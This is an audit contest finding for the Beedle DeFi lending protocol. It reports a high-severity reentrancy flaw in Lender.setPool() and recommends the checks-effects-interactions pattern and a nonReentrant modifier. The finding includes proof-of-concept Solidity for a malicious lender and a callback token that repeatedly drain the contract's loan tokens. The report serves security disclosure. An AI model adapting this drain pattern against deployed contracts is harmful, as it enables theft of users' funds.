Beedle - Oracle free perpetual lending
BeedleFi
DeFiFoundry
20,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

`Lender.setPool()` does not follow Check-Effect-Interfaction pattern, nor has `nonReentrant` modifier. A malicious lender might drain almost all loan token in the `Lender` contract.

RugpullDetector

Proof of Concept

A malicious lender can create pool with malicious loan token with _beforeTokenTransfer callback.

After liquidity increases, it can launch attack by calling setPool with poolBalance with slightly less than current pool balance.

contract MaliciousLender {
MaliciousLoanToken loanToken = new MaliciousLoanToken();
Lender lender;
uint256 public constant step = 10 ether;
​
function attack(
) internal {
Pool memory p = Pool({
lender: address(this),
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: pools[poolId].poolBalance - step,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
​
if (p.loanToken.balanceOf(lender) > step)
lender.setPool(p);
else
swapAtDEX();
}
}
​
contract MaliciousLoanToken is ERC20 {
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal {
maliciousLender.attack();
}
}

It will cause returning excess token back to lender(https://github.com/Cyfrin/2023-07-beedle/blob/main/src/Lender.sol#L159-L162).

The issue here is that pool information is not updated before transfer. It does not follow Check-Effect-Interfaction pattern nor has nonReentrant modifier.

Thus, next attack can continue, new loan token will be drained at each step.

The attack will continue until amount of loan token left is less than step or all gases are consumed.

The attacker will swap them at DEX to realize profit.

function setPool(Pool calldata p) public returns (bytes32 poolId) {
...
​
if (p.poolBalance > currentBalance) {
// if new balance > current balance then transfer the difference from the lender
IERC20(p.loanToken).transferFrom(
p.lender,
address(this),
p.poolBalance - currentBalance
);
} else if (p.poolBalance < currentBalance) {
// if new balance < current balance then transfer the difference back to the lender
IERC20(p.loanToken).transfer(
p.lender,
currentBalance - p.poolBalance
); // @audit - external interfaction - possible reentrancy
}
...
​
pools[poolId] = p; // @audit - effect
}

Impact

A malicious lender might drain almost all loan token in the Lender contract if loan token has _beforeTokenTransfer callback.

Tools Used

Manual Review

Recommendations

Should follow Check-Effect-Interaction pattern and put nonReentrant modifier.

- function setPool(Pool calldata p) public returns (bytes32 poolId) {
+ function setPool(Pool calldata p) public returns (bytes32 poolId) nonReentrant {
...
+ pools[poolId] = p; // @audit - effect
​
if (p.poolBalance > currentBalance) {
// if new balance > current balance then transfer the difference from the lender
IERC20(p.loanToken).transferFrom(
p.lender,
address(this),
p.poolBalance - currentBalance
);
} else if (p.poolBalance < currentBalance) {
// if new balance < current balance then transfer the difference back to the lender
IERC20(p.loanToken).transfer(
p.lender,
currentBalance - p.poolBalance
); // @audit - external interfaction - possible reentrancy
}
...
​
- pools[poolId] = p; // @audit - effect
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.